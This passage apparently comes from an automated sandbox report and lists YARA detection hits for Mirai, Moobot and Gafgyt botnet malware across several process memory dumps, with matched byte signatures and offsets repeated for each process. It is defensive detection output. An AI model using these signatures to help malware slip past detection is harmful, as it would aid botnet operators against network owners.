46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7292.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6666.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6666.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6666.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6666.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6666.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6666.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6689.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7274.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6629.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6629.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6629.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6629.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6629.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6629.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6366.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6366.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6366.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7353.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7353.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7353.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6745.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6745.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6745.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6745.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6745.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6745.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6860.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6860.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6860.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6860.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6860.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 